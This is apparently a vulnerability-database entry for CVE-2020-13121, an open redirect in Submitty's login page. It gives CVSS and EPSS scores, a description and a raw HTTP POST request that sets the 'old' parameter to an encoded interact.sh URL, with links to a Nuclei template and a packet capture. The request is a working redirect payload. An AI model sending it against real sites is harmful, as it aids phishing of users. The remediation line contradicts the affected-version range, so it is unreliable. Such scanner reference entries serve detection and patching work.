| Title | Submitty <= 20.04.01 - Open Redirect |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks. |
| Remediation | Upgrade to Submitty version 20.04.01 or later to fix the open redirect vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.1626 |
| CVE ID | CVE-2020-13121 |
| CWE ID | CWE-601 |
| Tags | cve cve2020 redirect submitty oos rcos vuln |
Submitty through 20.04.01 contains an open redirect vulnerability via authentication/login?old= during an invalid login attempt. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
POST /authentication/check_login?old=http%253A%252F%252Finteract.sh%252Fhome HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Origin: /
Referer: //authentication/login
Accept-Encoding: gzip
user_id=X2CE9w&password=kmvVHd&stay_logged_in=on&login=Login
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13121.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-13121.pcap
N/AN/A